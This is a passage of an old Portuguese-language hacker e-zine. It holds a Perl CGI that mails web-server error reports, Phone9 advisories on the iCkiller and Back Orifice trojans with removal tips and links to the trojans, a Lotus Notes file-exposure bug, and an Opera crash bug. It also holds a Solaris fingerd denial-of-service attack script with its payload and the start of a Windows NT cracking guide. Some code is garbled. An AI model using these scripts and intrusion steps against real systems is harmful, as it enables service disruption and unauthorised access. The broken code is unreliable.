	qualquer coisa bizarra que aconteca no sistema, alem de ser
	totalmente configuravel, ele e' uma implementacao de um an-
	tigo condigo para o apache 1.1.1 (Geee!! My mum is younger)
	O script que fica rodando em background no servidor, monito
	ra qualquer acesso a arquivos que nao  existem,  diretorios 
	do qual eles nao tem acesso, e qualquer outro documento nao
	permitido ao publico, o AWSG, grava as tntativas e as envia
	para o email do administrador, assim voce pode rodar o  seu
	servidor apache sem que nada realmente  incomum  possa  ser 
	documentado. 

	A AWSG, e'  originalmente um script feito  por fluidz, e eu
 	implementei o codigo conrrigindo alguns bugs existentes  no
	bichinho... 

		  Rode-o em perl (/usr/bin/perl???), e deixe-o 
		  rodando em backdground, junto com o servidor
		  - qualquer problema eventual com o script, 
		    manda um mail para mim (bi0tek@phone9.org)
		
    O codigo ta' abaixo, sao dois arquivos o .htaccess e o awsg.cgi	
			enjoy...
	
---[awsg.cgi]---
#!/usr/bin/perl
#
# Apache Web Server Guardian, v1.0
# by bi0tek|bi0tek@phone9.org
# --
# awsg@phone9.org |Apache Web Server Guardian, email
# --
#
# Thanks to: x1p, CeZinha e flu1dz
#
# 		         ---> phone9.org <---

# Entre o seu email:

	$email = 'bi0tek@phone9.org';

# Entre o endereco da sua pagina principal:

	$main_page = 'http://www.xxx.org/index.html';


# Entre o caminho para o seu programa de mail: (defaul e'o sendmail)

	$mailprog = '/usr/sbin/sendmail';


# Tratamento de erro_1:
$code = "Razao misteriosa." if ($ENV{'QUERY_STRING'} eq '696'); 
$code = "Arquivo perdido..." if ($ENV{'QUERY_STRING'} eq '404');
$code = "Acesso restrito" if ($ENV{'QUERY_STRING'} eq '401');
$code = "Falha ao iniciar script" if ($ENV{'QUERY_STRING'} eq '500');


# Mandando um report por mail, para o admin...
open(MAIL,"|$mailprog -t");
print MAIL "To: $email\n";
print MAIL "From: \@phone9 \@phone9\n";
print MAIL "Subject: Guardian Report [$code]\n";
print MAIL "X-Priority: 1 (Highest)\n\n";
print MAIL "O usuario, foi redirecionado para: $ENV{'REDIRECT_URL'}\n";
print MAIL "A conexao foi originade de: $ENV{'REMOTE_HOST'}.\n\n";
if ($ENV{'HTTP_REFERER'})
	{
	@terms = split(/\//,$ENV{'HTTP_REFERER'});
	print MAIL "O visitante veio de $ENV{'HTTP_REFERER'}. ";
	print MAIL "Contate o admin!!! $terms[0]//$terms[2].\n\n";
	}
else
	{print MAIL "Nenhum log foi reportado sob a seguite pesquisa.\n\n";}
print MAIL "Detalhes a seguir:\n\n";
foreach $key (sort keys %ENV)
	{print MAIL "$key: $ENV{$key}\n";}
close(MAIL);


# Agora a explicacao para o usuario:
print "Content-type: text/html\n\n";
print <
Apache Web Server Guardian: $code

$code (Apache Error $ENV{'QUERY_STRING'})

\n EOM if ($ENV{'QUERY_STRING'} eq '401') {&explain_401;} elsif ($ENV{'QUERY_STRING'} eq '404') {&explain_404;} elsif ($ENV{'QUERY_STRING'} eq '500') {&explain_500;} elsif {$ENV{'QUERY_STRING'} eq '696') {&explain_404;} else {&default;} print "
\n\n\n"; sub explain_401 { print <Adminsitrador do Sistema.

Caso o contrario, volte para a pagina inicial .:Voltar:. Apache Web Server Guard v1.0 - by bi0tek (bi0tek@phone9.org) EOM } sub explain_404 { print <pagina principal ou mande um mail para o adminadministrador da rede. Apache Web Server Guard v1.0 - by bi0tek (bi0tek@phone9.org) EOM if ($search_page) { print "\n

Voce pode tbm pesquisar.\n"; print "o site para achar os documentos internamente...\n"; print " "; print "Apache Web Server Guard v1.0 - by bi0tek (bi0tek@phone9.org)" } } sub explain_500 { print <administrador perl -w $ENV{'REDIRECT_SCRIPT_FILENAME'}. Tente mais tarde, pois o administrador do site ja' foi notificado da falha... Apache Web Server Guard v1.0 - by bi0tek (bi0tek@phone9.org) EOM } sub explain_696 { print <administrador ja' foi notificado e estara a procura do erro... Enquanto isto, volte para a pagina inicial. Apache Web Server Guard v1.0 - by bi0tek (bi0tek@phone9.org) EOM } sub default { print <pagina principal, ou entrar em contato com o administrador Obs.: O administrador ja' foi notificado do erro. Apache Web Server Guard v1.0 - by bi0tek (bi0tek@phone9.org) EOM } ---[awsg.cgi]--- Tambem tem o arquivo .htaccess que voce deve colocar nos diretorios, onde o awsg.cgi devera ficar nos diretorios em que o AWSG, ficara rodando: ---[.htaccess]--- ErrorDocument 401 /awsg.cgi?401 ErrorDocument 403 /awsg.cgi?403 ErrorDocument 404 /awsg.cgi?404 ErrorDocument 500 /awsg.cgi?500 ErrorDocument 696 /awsg.cgi?696 ---[.htaccess]--- Agora tenha certeza do que esta fazendo na hora de adaptar o script para outras versoes do apache e outros servers. Obs: Modifique os seguintes valores... $email = 'coloque o seu email'; $main_page = 'coloque a sua pagina principal'; $mailprog = 'coloque o caminho para o seu programa de email'; Nao e' necessario mudar mais nada, e voce pode alterar o codigo a vontade, e mande uma copia da modificacao para nos da .[P9]. -- Adcionando erros padroes -- by Apache HTTP Server v1.3 Basicamente, edite o .htaccess do seu diretorio, e coloque a seguinte linha: ErrorDocument 699 /awsg.cgi?699 Assim quando o erro 699 acontecer, o .htaccess ira chamar direto o arquivo /awsg.cgi com o query ?699... Simplez!!! bi0tekn0log1ez, Inc Apache Web Server Guardian.cgi - Project bi0tek@phone9.org - reg (c) Phone9 Inc ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 13 - Phone9.Sekurity advisories... Em caso de panico quebre a janela ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by the crew ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°° [Phone9 Sekurity advisories, sao documentos feitos pelos membros da P9] [com o fim de discutir os novos e antigos bugs descobertos em sistemas] [e maneiras preventivas de como impedir que sua execucao seja infeliz.] 01:. iCkiller Backdoor 02:. Back Orifice advisory 03:. Lotus Notes bug 04:. Opera DoS crash bug 05:. Solfingerd bug [P9] ------------------------------------------------------------------ [P9] .[The Phone9 Communications Systems (c) 1997-1998 productions]. .[Sekurity advisory]. .[15/05/98 - P9]. .[iCkiller Backdoor - by The bloodroot]. Contents: ''''''''' 01: Sumario 02: Removendo o trojan 03: Analize do trojan 04: Tecnicas de prevencao 05: Informacao sobre o ickill.exe 06: Informacao sobre o sistema do iCkiller 06.1: Unit 1 06.2: Unit 2 07: Checando vulnerabilidade do seu sistema 08: Conclusao 09: Phone9 Sekurity Advisory 01: Sumario O programa iCkiller, criado por graffiti (graffuz@hotmail.com), o programa inicialmente fecha aleatoreamente qualquer ICQ que esteja on-line no momento mas o programa nao faz so isto, ele tambem instala uma backdoor na maquina, que executar o programa (ickiller.exe). Eset se copiara para o c:\windows, e logo depois ira colocar chaves no registro, instalando a backdoor , que e' automaticamente ativada toda a vez que o programa e' executado. Uma vez executado, ele coloca uma backdoor na porta 5000 ou 7789, podendo copiar, deletar, criar e executar programas remotamente dentro da windows-box por meio de um telnet nas portas acima. 02: Removendo o trojan 1) ctrl+alt+del e finalize os programas "mschv32.exe" qualquer segundo "explorer.exe", ou "1.exe" 2) DELETE qualquer aparicao de MSCHV32.exe e 1.exe 3) Se existir qualquer EXPLORER.EXE no seu c:\windows\systems, delete-o 4) Execute o programa c:\windows\regedit.exe e delete qualquer entrada sob o nome de 1.exe, e mschv32.exe. 5) Passe um portscan no seu IP, e veja se alguma porta fora do comum esta aberta, se aberta de um telnet nela e veja o resultado... 6) Deixe um firewall rodando no seu sistema sempre que possivel, pois as conexoes sao por meio de TCP, entao a maioria dos firewalls alerta voce sobre qualquer conexao pendente. 03: Analize do trojan O programa instala uma especime de servidor nas portas descritas acima, este servidor que se autoexecuta ao iniciar o windows, tem o nome de 1.exe ou explorer.exe (c:\windows\system\explorer.exe), o servidor nao responde a um software cliente, como no caso do BO, ele responde a qualquer tentativa de telnet caindo num console que responde a comandos especificados pelo iCkil- ler, estes que por inicio so deveriam ser do conhecimento do Graffiti. 04: Tecnicas de prevencao Firewall: A tecnica mais segura seria a implantacao de um firewall local na sua maquina, assim monitorando qualquer conexao TCP/IP/UDP o seu windows ficaria a salvo de conexoes nao desejadas... Port listenner: Colocar um port listenner nas portas da qual o iCkiller usa, assim monitorando qualquer possivel conexao por meio do TCP. Nukenabber: Nukenabber e' um simples programa que monitora abre as portas que voce seleciona , dando um status de "in use" para todas estas assim nenhuma conexao e' permitida em tais portas. inControl 3: Um programa que monitora toda a instalacao de um programa, gerenciando cada entrada que o programa faz no sistema, permite que voce saiba o que e quando algo esta sendo gravado sem a sua permissao no seu sistema (durante a instalacao!!!) Para baixar o inControl 3 va em: http://www.zdnet.com/pcmag/pctech/content/15/13/ut1513.001.html 05: Informacao sobre o ickill.exe Nome do arquivo: ICKILL.EXE, 98s.exe, ICQHIJAAK.EXE Tamanho: 335,872 bytes MD5 Message Digest: 711DFB9A0F23058CB238302EB2D46C35 06: Informacoes sobre o sistema do iCkiller As unidades usadas pelo iCkiller sao: À # =Cheval óFileCtrl ÇConsts ÇSystem SysInit  Dialogs 3Messages KWindows SysUtils ^Classes QTypInfo sActiveX &Controls °Printers WWinSpool +Graphics vMenus ÁImm Commctrl dStdCtrls IDlgs 3CommDlg ÂButtons :Scrute ¡Spin !WSocket ±WSockbuf £Wait ©WinSock 8Registry øUnit2 îunit1 Todas estas unidades exceto: Scrute, WSocket, WSockbuf, Wait, Unit2, e unit1 sao unidades padroes do delphi, WSocket, WSockbuf, Wait, sao todas unidades padroes do componentes de winsock, TWSocket. Unit1 e Unit2 sao as duas forms utilizadas pelo projeto. 06.1: Unit 1 A lista de propriedade do unit1 e' esta: object Form1: TForm1 Left = 370 Top = 198 BorderIcons = [biSystemMenu] BorderStyle = bsDialog Caption = 'Form1' ClientHeight = 115 ClientWidth = 436 Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -11 Font.Name = 'MS Sans Serif' Font.Style = [] Position = poScreenCenter OnClose = FormClose OnCreate = FormCreate PixelsPerInch = 96 TextHeight = 13 object ChatPort: TEdit Left = 10 Top = 41 Width = 31 Height = 21 Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -11 Font.Name = 'MS Sans Serif' Font.Style = [] ParentFont = False TabOrder = 0 Text = '5000' Visible = False end object DelaiDistant: TSpinEdit Left = 45 Top = 41 Width = 41 Height = 22 Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -11 Font.Name = 'MS Sans Serif' Font.Style = [] MaxValue = 500 MinValue = 0 ParentFont = False TabOrder = 1 Value = 0 Visible = False end object SrvSocket: TWSocket Proto = 'tcp' MultiThreaded = False OnSessionAvailable = SrvSocketSessionAvailable FlushTimeout = 60 SendFlags = wsSendNormal Left = 5 Top = 4 end object CliSocket: TWSocket Proto = 'tcp' MultiThreaded = False OnDataAvailable = CliSocketDataAvailable OnSessionClosed = CliSocketSessionClosed FlushTimeout = 60 SendFlags = wsSendNormal Left = 37 Top = 5 end end Como voces podem ver e' uma simples form usada em linguagens de programacao, como delphi, VBasic... Ela possui dois TWSocket, um para o servidor e outro para o cliente, o servidor possui uma instrucao de eventos para o caso de se alguem tentar se conectar a ele. 06.2: Unit 2 A lista de propriedades do unit 2 e' esta: object Form_HD: TForm_HD Left = 415 Top = 189 Width = 138 Height = 87 BorderIcons = [biSystemMenu, biMaximize] Caption = 'Form_HD' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -11 Font.Name = 'MS Sans Serif' Font.Style = [] Position = poScreenCenter PixelsPerInch = 96 TextHeight = 13 object DriveComboBox: TDriveComboBox Left = 20 Top = 38 Width = 89 Height = 19 TabOrder = 0 Visible = False end object Scrute: TScruteDossier Dossier = 'c:\' Filtre = '*.*' SousDossier = False OnFichier = ScruteFichier OnDossier = ScruteDossier OnFinExecute = ScruteFinExecute MaxPenetration = 10000 Left = 70 Top = 4 end object FileCliSocket: TWSocket Proto = 'tcp' MultiThreaded = False OnDataAvailable = FileCliSocketDataAvailable OnSessionConnected = FileCliSocketSessionConnected FlushTimeout = 60 SendFlags = wsSendNormal Left = 31 Top = 3 end end Esta e' a parte maquinaria do programa, possui um componente chamado: TScruteDossier, que supostamente faz um scan na maquina local, catando os nomes de drivers, diretorios, atributos, nomes de arquivos. Em frances a palavra Scrute Dossier quer dizer "scaneando arquivos", ou seja um amigo de graffiti fraces (biohazard pelo que me consta e' o nome dele!!!), criou junto com graffiti a backdoor, ou pelo menos fez parte do codigo. 07: Checando vulnerabilidade do sistema 1) telnet 127.0.0.1 5000 ou 7789 2) portscan nas portas 5000 e 7789 para checar por servicos abertos. 3) Procure pelo iCkiller no seu sistema 4) Procure por entradas no registro sobre o nome de 1.exe e mschv32.exe 5) Nao rode mais o programa iCkiller v1.1, na sua maquina. 08: Conclusao O iCkiller foi feito por um grande amigo graffiti (da microsoftz.com), que eu acho que nao teve tanta malicia na hora de fazer o programa, ele instalou a backdoor? Sim, mas nao totalmente culpado por todas as invasoes nas suas windows-b0xes, primeiro: Usem unix ou linux, sejam espertos ;) e depois quem mandou confiar no tio bill? Agora vai aprender do jeito mais sofrido que o tio bill pode fazer: format c: /y 09: Phone9 Sekurity Advisory Pagina da Phone9: http://www.phone9.org ........................... Phone9 Sekurity Advisory Systems: http://www.phone9.org/html/advisory/ ........................... e-mail: advisory@phone9.org ........................... sekurity-br: sekuriy-br-owner@phone9.org ........................... hack-br: hack-br-owner@phone9.org ........................... autor: bloodroot mail: blood@phone9.org ........................... iCkiller: http://www.phone9.org/html/labs/tools/ickiller.zip iCkiller v2.0: http://www.phone9.org/html/labs/tools/ickiller2.zip graffit e-mail: graffiti@phone9.org ........................... contact:[.blood@phone9.org]|[.advisory@phone9.org] The Phone9 Communications Systems, Inc. [P9] ------------------------------------------------------------------ [P9] .[The Phone9 Communications Systems (c) 1997-1998 productions]. .[Sekurity advisory]. .[15/08/98 - P9]. .[Back Orifice Advisory - by The bloodroot]. Contents: ''''''''' 01: Sumario 02: Comprometimento 03: Ate onde eu sou vulneravel? 04: Checando vulnerabilidade de sistema 05: Deletando o back Orifice 06: Procurando pela instalacao default 07: Medidas de seguranca quanto a redes 08: Betascan 09: Conclusao 10: Phone9 Sekurity Advisory 01: Sumario Recentemente o grupo hacker "Cult Of Dead Cow (cDc)", lancou um programa de controle remoto de rede, chama Back Orifice, o nome do programa sendo uma alusao ao programa "back Office" da microsoft, que tem o mesmo sentido do BO (back Orifice). O BO, sendo um programa com uma instalacao obscura e totalmente confusa, colocando registros e arquivos estranhos no seu HD. O BO e' um sistema de servidor -> cliente, permitindo que este execute comandos remotamente atravez de protocolos UDP, simplesmente especificando o IP. Tambem e' bem possivel que o BO tenha intencoes de instalar uma backdoor remota no servidor, fazendo com que o servidor seja executa toda a vez que o windows for iniciado. Escondendo o usuario a opcao de desligar o servidor, por completo do sistema. 02: Compromentimento Controle total remotamente em uma maquina "vitima". Podendo ter todos os arquivos do seu HD totalmente inseguros. Uma vez instalado o servidor e' possivel que a sua maquina nunca seja tao segura como antes, pois o BO, tem um pequeno habito de tentar instalar backdoors no seu sistema... Somente sao vulneraveis maquinas rodando: - windows95/98/3.x - Com conexao a internet O back orifice so funciona por conexoes por meio de protocolos de internet, mais especificamente UDP (User Datagram Protocol), pela porta 31337!!! 03: Ate onde eu sou vulneravel? A principio o BO nao explora nenhuma falha especifica, descoberta no windows o cliente so consegue controle remotamente sobre uma maquina, se esta uma vez tenha roda o BOSERVER.exe, ou BOGUI.EXE, por isto este bug nao uma falha do windows, e sim uma opcao de controle remoto por meio de um cliente, que e' a funcao do servidor BO. Mas, ai voce se pergunta, mas entao nao e' nenhum tipo de backdoor? Errado, pois o intuito do BO e' , instalar o servidor e sumir com este, sendo assim, voce nao saberia como deshabilitar o servidor, deixando-o rodando sem ao menos saber na sua maquina por meses, ate que alguem faca um estrago no seu sistema ;) 04: Checando vulnerabilidade do sistema 1- Procure por conexao na porta 31337 ,pelo protocolo UDP, estas na maioria das vezes, implicam na conexao de um cliente no seu sistema, fique atento a estas entradas... Para verificar por entradas nas portas do seu sistema, digite no seu prompt: c:\windows\netstat -na udp 0 0 x.x.x.x:31337 Ou... c:\windows\netstat -p udp udp 0 0 x.x.x.x:31337 O comando nao muda, somente as flags usadas fazem diferenca mesmo ;). Com estes comandos, voce fica vulneravel... 2- Procure por arquivos no seu diretorio do windows: c:\windows\systems\ .exe c:\windows\systems\windll.dll Suspeite de arquivos com 124kbytes de tamanho, o servidor do BO, em versoes novas (se tiver algum update remoto ;)) pode mudar de nome de .exe para outro nome qualquer. 3- Se qualquer coisa estranha acontecer na sua rede, suspeite, pois o BO, pode executar remotamente programas, comandos etc... Suspeite de acoes incomuns como: - Maquina rebootando sem o seu desejo. - Velocidade de conexao a internet diminuida e o computador com uma velocidade pequena. - Arquivos novos aparecendo derepende na sua maquina. - Programas fechando se o seu pedido.. 05: Deletando o Back Orifice Uma funcao que pode mudar toda a prespectiva do BO no seu sistema, deletando o servidor do seu sistema ja' alivia e muito o risco de invasao na sua maqui na. Primeiro, va no diretorio c:\windows\systems, e delete o arquivo .exe ( .exe `espaco .exe`, provavelmente o primeiro arquivo do diretorio ), Depois para eliminar qualquer chance de resulreicao do Back Orifice, voce pega o regedit.exe (c:\windows\regedit.exe) e entra na seguinte chave de registro: HKEY_LOCAL_MACHINE\SOFTWARE\Windows\CurrentVersion\RunServices, e apague o valor .exe de um dos registros daquela chave. Delete todos os arquivos do BO, e nao execute nunca mais nenhum dos programas que o BO utiliza. Formate o HD se possivel... ;) 06: Procurando pela instalacoa default Edite o arquivo .exe com um edit.com ou notepad.exe mesmo, e veja se as ultimas linhas do programa sao assim: 8 8$8(8,8084888<8@8D8H8L8P8T8X8\8'8d8h8l8. Caso sejam, a instalacao na sua maquina foi default ou seja o BO, esta configurado assim: -- Porta de ataque: 31337 Protocolo: UDP Nome do servidor: .exe Nome do dll do servidor: windll.dll Chave de registro: HKEY_LOCAL_MACHINE\....\CurrentVersion\RunServices valor do registro: .exe -- Do contrario as ultimas linhas do servidor seriam varias linhas incluindo informacoes do tipo: -- -- 07: Medidas de seguranca quanto a redes Se voce tem um sistema windowsNT, entao e' bom voce adotar uma politica de seguranca quanto ao Back Orifice, pois o controle sobre um usuario no seu sistema pode ser devastador, visto que varios bugs em sistemas NT podem ser executados localmente e nao remotamente, por isso dar um hostdeny em hosts onde e' possivel se baixar o Bo, seria algo esperto para se fazer. Procure sempre visitar os diretorios dos seus usuario a procura de BOs neles. Depois, adapte a seguranca do seu sistema para nao permitir conexoes na porta 31337... E nunca pense em rodar o BO na sua rede, somente em maquinas locais. 08: Betascan Um programa que scaneia o seu sistema e procura do Bo, foi lancado, e esta a disposicao de download em: http://www.phone9.org/html/labs/tools/betascan.zip Este programa simplesmente procura pela existencia do servidor (.exe), pela entrada no registro e depois, pesquisas as rotinas do windll.dll, a procuras de novas inclusoes feitas pelo BO. 09: Conclusao O Back Orifice em uma visao geral, nao explora nenhum bug, nao faz nenhum tipo de nova tecnica hacker e muito menos pode colocar em risco a seguranca dos sistema windowsNT,98,95, pois o BO, so e' considerado perigoso uma vez que o dono do computador prefere executa-lo. Nao existe nenhum modo de ser invadido pelo BO, sem que voce tenha alguma vez na sua vida executado o BO, ou entao tenha sido alvo de bugs como o MSOutlook'98, e outros, ai e' cada um pela sua CPU... 10: Phone9 Sekurity Advisory Pagina da Phone9: http://www.phone9.org ........................... Phone9 Sekurity Advisory Systems: http://www.phone9.org/html/advisory/ ........................... e-mail: advisory@phone9.org ........................... sekurity-br: sekuriy-br-owner@phone9.org ........................... autor: bloodroot mail: blood@phone9.org ........................... Back Orifice v1.2: http://www.phone9.org/html/labs/tools/b012.zip Back Orifice (linux): http://www.phone9.org/html/labs/tools/b012linux.zip [1] Phone9.org, mirror oficial do BO no brasil. ........................... contact: [.blood@phone9.org]|[.advisory@phone9.org.] The Phone9 Communications Systems,Inc. [P9] ------------------------------------------------------------------ [P9] .[The Phone9 Communications Systems (c) 1997-1998 productions]. .[Sekurity advisory]. .[09/08/98 - P9]. .[Lotus webserver bug - by The bloodroot]. Contents: ''''''''' 01: Sumario 02: O bug 03: Checando vulnerabilidade do seu sistema 04: Possiveis solucoes 05: Conclusao 06: Phone9 Sekurity Advisory 01: Sumario O servidor lotus notes, da empresa domino, possui um serio bug que pode comprometer a seguranca do sistema inteiro. A versao vulneravel 4.6 e versoes maiores, o bug se aplica a empresas que usam o lotus para gerenciamento de intranets e desenvolvimento de redes. Os sitema lotus que nao esta rodando o HTTPD padrao do lotus esta vulneravel a falha. O impacto no sistema e' o seguinte, qualquer usuario pode acessar e criar arquivos distintos do sistema, levando a baixo todo o sistema de seguranca do sistema. 02: O bug Para executar o bug, primeiro e' necessario que voce tenha o software cliente, uma vez tendo isto em maos, voce ja pode exploitar o bug... Do client 4.6 do lotus: 1. Abra qualquer database (endereco... rodando lotus server!!!) 2. Clique em Actions -> E veja no seu web browser Depois entre no seu web browser (lynx? netscape? internet exploder?) e se conecte em http://xxx.xxx.xx.xxx/phone9 (onde `phone9` e a database) Mesmo que voce so tenha o client, agora o servidor lotus esta rodando na porta 80, entao qualquer pessoa na internet pode acessar http://xxx.xxx.xx.xxx/ e ver todos os arquivos do sistema em que roda o Lotus. Ou ate' mesmo visualizar qualquer arquivo: http://xxx.xxx.xx.xxx/passw0rd/?open e voce vera o arquivo passw0rd... 03: Checando por vulnerabilidade Se voce tem o lotus server, apenas rode o sistema HTTPD com o servidor que vem com o lotus, pois este ja' vem patcheado contra o seguinte bug. O seu sistema somente e' vulneravel se voce alguma vez rodar o servidor HTTPD de outra `marca` no servidor, sendo esta nao patcheado entao a vulnerabilidade e' existente. 04: Possiveis solucoes - Deshabilite a opcao HTTP no seu servidor. - So permite que IPs da sua rede acessem os arquivos do seu sistema. - Nao permita que servidores sejam rodados sozinhos , somente utilize os clientes. - Mude a permissao dos arquivos para algo que nao seja lido por todos. 05: Conclusao O Lotus Notes 4.6 e' um servidor para intranets e pode ser um risco serio, a atividade deste bug no seu sistema, por isso procure rodar o httpd server do lotus para evitar qualquer problemas eventuais. 06: Phone9 Sekurity Advisory ........................... Pagina da Phone9: http://www.phone9.org ........................... Phone9 Sekurity Advisory Systems: http://www.phone9.org/html/advisory/ ........................... e-mail: advisory@phone9.org ........................... sekurity-br: sekuriy-br-owner@phone9.org ........................... autor: bloodroot mail: blood@phone9.org ........................... contact: [.blood@phone9.org]|[.advisory@phone9.org.] The Phone9 Communications Systems,Inc. [P9] ------------------------------------------------------------------ [P9] .[The Phone9 Communications Systems (c) 1997-1998 productions]. .[Sekurity advisory]. .[15/08/98 - P9]. .[Opera browser crash - by The bloodroot]. Contents: ''''''''' 01: Sumario 02: Comprometimento 03: O bug 04: Conclusao 05: Phone9 Sekurity Advisory 01: Sumario Opera, um novo browser que esta no mercado (http://opera.nta.no), mostrou que tem certas falhas no seu controle de erro de enderecos, se uma pessoa colocar extra caracteres no final de um endereco existente... E' possivel fazer com que o opera entre em pane e feche. Este bug parece afetar apenas o browser opera versao 3.6+, testado no Netscape (versoes 2.0,3.0,3.1,4.0) e no MSIE 4.0 o bug nao e' existente... 02: Compromentimento Para a sua rede, ou conexao na internet nada demais ira acontecer, a unica coisas chata que acontece, e' que o browser fecha repentinamente se voce acidentalmente (ou propositalmente), executa-lo. E' apenas uma falha no processamente de erro do opera!!! ;) 03: O bug Voces devem estar se perguntando que tipo de bug, e' capaz de crashar o Opera, o mais estupido o possivel ;) Se voce acrescentar uma barra a mais em qualquer conexao via http o browser entra em crash, ou seja, e' assim: Uma conexa http, utiliza no final da especificacao http, duas barras exemplo: http:// O Opera , parece nao trata com esta margem de erro e por isso causa o bug no seu browser. Para testar o bug no seu broser apenas digite: http:///www.endereco.com.br #--> Nao se esqueca que o bug so e' executado #Se forem acescentadas /// (3) barras no final #do http:!!! Obs: FTP://, GOPHER://, nao parecem ser vulneraveis em nenhum tipo de ataque do genero. 04: Conclusao A resposta da opera quanto ao bug e' o release de um patch para este bug em menos de uma semana quanto ao que eles disseram... Nao e' nada demais, este bug nao compromete nenhuma seguranca do seu sistema, ele somente e' pe-no-saco quando acontece. 05: Phone9 Sekurity Advisory Pagina da Phone9: http://www.phone9.org ........................... Phone9 Sekurity Advisory Systems: http://www.phone9.org/html/advisory/ ........................... e-mail: advisory@phone9.org ........................... sekurity-br: sekuriy-br-owner@phone9.org ........................... autor: bloodroot mail: blood@phone9.org ........................... Pagina Oficial do Opera: http://opera.nta.no ........................... contact: [.blood@phone9.org]|[.advisory@phone9.org.] The Phone9 Communications Systems,Inc. [P9] ------------------------------------------------------------------ [P9] .[The Phone9 Communications Systems (c) 1997-1998 productions]. .[Sekurity advisory]. .[15/08/98 - P9]. .[Solaris Finger 2.5 bug - by The bloodroot]. Contents: ''''''''' 01: Sumario 02: Comprometimento 03: O bug 04: Script, faca o meu trabalho 05: Conclusao 06: Phone9 Sekurity Advisory 01: Sumario O componente TCP de rede, finger e seu daemon fingerd , na versao 2.5.1 e 2.6 parecem ser vulneraveis a seria de ataques DoS originados por sequencias de comandos causando um grande consumo da CPU time, e consequentemente deixando sistema alerdado ou ate' fechando. 02: Comprometimento Nao envolve nenhum tipo de falha de seguranca, somente faz com que o sistema fique vulneravel a ataques DoS, devido a grande margem de comandos atribuidos ao fingerd. So afeta maquinas solaris, rodando a versao do daemon de finger (fingerd) 2.5.1 e 2.6. 03: O bug Apenas, faca isto: fuck:/root/> finger @host@host@host@host@host@host .... 25 vezes!!! ou entao: fuck:/root/> finger @hosta@hostb --> Onde hostb e' a maquina que esta rodando fingerd bugado... 04: Script, faca o meu trabalho esta e' bem simples... Rode este script para executar o bug, e' melhor do que digitar 145 vezes @host!!! hehehehe ;) -- #!/bin/sh # #Finger bug hostb= #Host que roda fingerd 2.5.1, ou 2.6 145host= #cat /tmp/145fing!!! finger= #local onde roda o finger # fingando??? clear echo "--[ Figerd bug 2.5.1 & 2.6 ]--" echo "by bloodroot" echo "blood@phone9.org" echo echo "Finger MENU" echo "1:. 145 @host bug" echo "2:. hostb attack" echo echo "Escolha uma opcao" read $chc case $chc in 1) goto 1 ;; 2) goto 2 ;; esac 1: echo "145 @host bug" echo "-- Aguarde --" echo $finger $145host 2: echo "hostb attack" echo "Qual host voce deseja atacar?" reap fckhst finger @127.0.0.1@$fckhst -- E o 145fing esta abaixo: -- @host@host@host@host@host@host@host@host@host@host@host@host@host@host@host @host@host@host@host@host@host@host@host@host@host@host@host@host@host@host @host@host@host@host@host@host@host@host@host@host@host@host@host@host@host @host@host@host@host@host@host@host@host@host@host@host@host@host@host@host @host@host@host@host@host@host@host@host@host@host@host@host@host@host@host @host@host@host@host@host@host@host@host@host@host@host@host@host@host@host @host@host@host@host@host@host@host@host@host@host@host@host@host@host@host @host@host@host@host@host@host@host@host@host@host@host@host@host@host@host @host@host@host@host@host@host@host@host@host@host@host@host@host@host@host @host@host@host@host@host@host@host@host@host@host -- 05: Conclusao Ate' o momento a sun ainda nao lancou nenhum patch para este bug... mas nao e' por falta de espera??? Somente as versoes do fingerd do solaris que e' vulneravel, outras nao sao!!! (eu testei as do linux slack, e redhat e nada de bug nelas!!!;)) 06: Phone9 Sekurity Advisory Pagina da Phone9: http://www.phone9.org ........................... Phone9 Sekurity Advisory Systems: http://www.phone9.org/html/advisory/ ........................... e-mail: advisory@phone9.org ........................... sekurity-br: sekuriy-br-owner@phone9.org ........................... autor: bloodroot mail: blood@phone9.org ........................... solfingerbug [script]: http://www.phone9.org/html/labs/tools/solfinger.zip ........................... contact: [.blood@phone9.org]|[.advisory@phone9.org.] The Phone9 Communications Systems,Inc. [P9] ------------------------------------------------------------------ [P9] Todas as advisories aqui dispostas podem ser utilizadas como base para outros documentos, contanto que os devidos creditos sejam dados aos autores das advisories existentes... contact: [.phone9@phone9.org.]|[.advisory@phone9.org.] The Phone9 Communications Systems, Inc. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 14 - Crackeando sistema No Trust ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by X-ploiter ³°° ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°° Windows NT crack guide ------- -- ----- ----- "easy hack com getadmin.exe, cmd.exe e gasys.dll" by X-ploiter Eh uma tecnica bem simples q eu resolvi descrever nesta edicao, conforme as edicoes forem passando, eu vou explicando mais e mais tecnicas de ataques em NT. 1. c:\ftp www.xploiter.com.br 220 saturn Microsoft FTP server (version 3.0) User(www.xploiter.com.br(none)): O q isto quer dizer? Q o nome do servidor Netbios eh SATURN. Por meio deste nome, ele pode deduzir o account anonymous do NT, q permite a navegacao em servicos gratis como FTP,WWW,GOPHER. Caso o admin seja um tanto burro, ele nao mudou o nome da conta, entao a conta deve ficar assim: IUSR_SATURN. Entao ele pensa e entra anonymous como user e aparece o seguinte: 330 Anonymous acess allowed, send identity (e-mail adress) as password. password: Entao voce digita o seu mail , e se loga no sistema, parece bem simples ateh agora, o mesmo processo q em sistema unix, entao voce digita "cd /c", para tentar acessar o diretorio / do 